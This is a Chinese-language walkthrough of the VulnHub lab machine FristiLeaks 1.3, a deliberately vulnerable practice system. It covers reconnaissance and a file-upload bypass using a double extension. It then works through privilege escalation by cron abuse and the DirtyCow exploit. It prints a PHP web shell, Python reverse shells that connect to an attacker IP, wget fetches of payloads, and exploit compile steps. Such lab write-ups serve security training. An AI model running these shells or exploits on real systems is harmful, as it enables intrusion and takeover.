靶機FristiLeaks1.3的目錄
- 0x01靶機描述
- 0x02環境搭建
- 0x03靶機滲透
- 一、 資訊收集
- 1. 主機發現
- 2. 埠掃描
- 3. 詳細掃描
- 4. dirb目錄掃描
- 5. 網站指紋識別
- 二、 漏洞挖掘
- base64解密
- 1. 尋找url
- 2. 查看原始碼,base64解密
- 3. 登錄成功
- 檔案上傳漏洞
- 1. 嘗試修改抓包修改后綴進行繞過,失敗
- 2. 進行多后綴檔案上傳
- 3. 打開上傳的檔案,顯示出php資訊
- 三、 漏洞利用
- 1. 上傳木馬檔案
- 2. 使用hackbar切換POST方法傳參訪問
- 3. 成功反彈shell
- 四、 提權
- 方法一:sudo提權(確實很繞)
- 1. 尋找到提權資訊
- 2. 撰寫反彈shell腳本
- 3. 通過wget下載反彈shell腳本
- 4. 向runthis中寫入執行命令
- 5. 監聽拿到admin用戶的shell
- 6. python打開一個標準的shell
- 7. base64解密
- 8. 嘗試切換fristigod用戶
- 9. 查看sudo可執行的檔案
- 10. 查看flag:
- 方法二:臟牛提權
- 1. 主機開啟http服務,并且將臟牛腳本放置網站根目錄下
- 2. wget下載臟牛腳本,并賦權
- 3. 編譯運行
- 4. 切換firefart用戶,成功提權
- 5. 查看flag:
- 0x04實驗總結
0x01靶機描述
靶機基本資訊:
| 鏈接 | https://www.vulnhub.com/entry/fristileaks-13,133/ |
|---|---|
| 作者 | Ar0xA |
| 發布日期 | 2015年12月14日 |
| 難度 | 中等 |
靶機基本介紹:

一個小型虛擬機是為一個叫做Fristileaks的荷蘭非正式黑客聚會而設計的,意味著可以在幾個小時內完成,而無需除錯程式、逆向工程等,,
0x02環境搭建
- 下載并匯入靶機
打開vmware–檔案–打開–FristiLeaks_1.3.ova

- 在開啟之前我們需要將靶機網路配接器改為NAT模式,并且對MAC地址進行手動編輯
VMware用戶需要手動將VM的MAC地址編輯為:08:00:27:A5:A6:76


- 啟動靶機
點擊 ?靶機,開啟成功

0x03靶機滲透
一、 資訊收集
1. 主機發現
netdiscover -i eth0 -r 192.168.30.0/24


2. 埠掃描
masscan --rate=100000 -p 0-65535 192.168.30.195

3. 詳細掃描
nmap -T4 -sV -O -p 80 192.168.30.195

4. dirb目錄掃描
dirb http://192.168.30.195 /usr/share/dirb/wordlists/big.txt

5. 網站指紋識別
whatweb http://192.168.30.195

二、 漏洞挖掘
base64解密
1. 尋找url
通過照片上的提示“This is not the url”,我們可以大概猜測到是想讓我們尋找url鏈接或路徑

嘗試將fristi作為路徑進行訪問

成功訪問,發現登錄頁面,在這里可以進行弱口令,暴力破解,嘗試找sql注入點(但這些都沒有成功)
http://192.168.30.195/fristi/

2. 查看原始碼,base64解密
2.1 查看原始碼發現了一封郵件,還有很長的base64加密的密文,我們可以猜想這個發件人可能為這里的用戶名,base64為加密的密碼

2.2 首先想到的就是將密文在kali上進行解密
base64 -d base64.txt > base.txt

但是解密后顯示PNG,可以才想到應該是解密成PNG檔案
2.3 繼續進行解密為base64.PNG
base64 -d base64.txt > base64.png


3. 登錄成功
用戶名:eezeepz 密碼:keKkeKKeKKeKkEkkEk



發現是一個檔案上傳點
檔案上傳漏洞
1. 嘗試修改抓包修改后綴進行繞過,失敗

2. 進行多后綴檔案上傳
查看到這是一個apache服務器
apache 的決議漏洞,上傳如 a.php.rar a.php.gif 型別的檔案名,可以避免 對于php檔案的過濾機制,但是由于 apache 在決議檔案名的時候是從右向左讀,如果遇到不能識別的擴展名則跳過,rar 等擴展名是 apache 不能識別的, 因此就會直接將型別識別為 php,從而達到了注入php代碼的目的,

將寫好查看phpinfo資訊頁面腳本進行上傳


上傳成功,并且上傳到了/uploads檔案夾下
3. 打開上傳的檔案,顯示出php資訊

此處存在檔案上傳漏洞
三、 漏洞利用
1. 上傳木馬檔案
上傳方法與上傳phpinfo.php.gif相同
<?php @system($_POST[cmd]);?>

2. 使用hackbar切換POST方法傳參訪問
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.30.182",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

3. 成功反彈shell

四、 提權
方法一:sudo提權(確實很繞)
1. 尋找到提權資訊
在用戶eezeepz的家目錄下找到檔案notes.txt

我讓你可以做一些自動檢查,但我只允許您訪問/usr/bin/*系統二進制檔案,
然而,我確實復制了一些額外的經常需要的命令到我的homedir:chmod、df、cat、echo、ps、grep、egrep,這樣您就可以使用它們了
來自/home/admin/
不要忘記為每個二進制檔案指定完整路徑!
只需在/tmp/中放入一個名為“runthis”的檔案,每行一個命令,這個輸出轉到/tmp/中的檔案“cronresult”,它應該以我的帳戶權限每分鐘運行一次,
根據提示我們可以看出,在/tmp/中放入一個名為“runthis”的檔案,而這個檔案就類似/etc/crontab檔案,在這里是以admin用戶定時執行任務,所以我們的思路是可以利用這個漏洞拿到admin用戶的shell
2. 撰寫反彈shell腳本
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.30.182",8421));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

并且打開Apache服務器
3. 通過wget下載反彈shell腳本
wget http://192.168.30.182/privilege.py

4. 向runthis中寫入執行命令
方法一:寫入執行反彈shell的命令,我們可以拿到admin用戶的shell
echo '/usr/bin/python /tmp/privilege.py' > runthis

方法二:將用戶admin的家目錄權限設定為所有用戶均可訪問
echo '/usr/bin/../../bin/chmod -R 777 /home/admin' > runthis

從執行命令前后我們可以看出admin用戶目錄權限的變化

5. 監聽拿到admin用戶的shell

6. python打開一個標準的shell
python -c 'import pty;pty.spawn("/bin/bash")'

7. base64解密
在用戶admin家目錄下發現加密代碼,以及加密后的字符

根據加密加密代碼我們可以撰寫解密代碼
#decoderot13.py
import base64,codecs,sys
def decodeString(str):
base64string= codecs.decode(str,'rot13')
return base64.b64decode(base64string[::-1])
cryptoResult=decodeString(sys.argv[1])
print cryptoResult

根據密碼顯示的內容,得到可能是用戶fristigod的密碼
8. 嘗試切換fristigod用戶

切換成功
9. 查看sudo可執行的檔案

查看歷史可以發現使用這個可執行檔案可以以root身份執行命令

那么我們可以以root身份打開一個終端,終端自然是root權限,提權成功
sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom /bin/bash

10. 查看flag:

方法二:臟牛提權
1. 主機開啟http服務,并且將臟牛腳本放置網站根目錄下
service apache2 start

2. wget下載臟牛腳本,并賦權
wget http://192.168.30.182/dirty.c
chmod 777 dirty.c

3. 編譯運行
gcc -pthread dirty.c -o dirty -lcrypt
./dirty 123456

運行成功
4. 切換firefart用戶,成功提權

5. 查看flag:

0x04實驗總結
- 該靶機屬于CTF典型靶機,運用base64加密做了很多關卡,所以必須懂得base64加密,
- 當你感覺無從下手的時候F12可以查看原始碼,也可以進行收集框架漏洞等,
- 檔案上傳漏洞考察了Apache服務器的對檔案決議漏洞
- 提權時一般重點就是在用戶家目錄或/tmp目錄下查找提權有關的資訊,提全時一定要發散思維,多想想
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/298885.html
標籤:其他
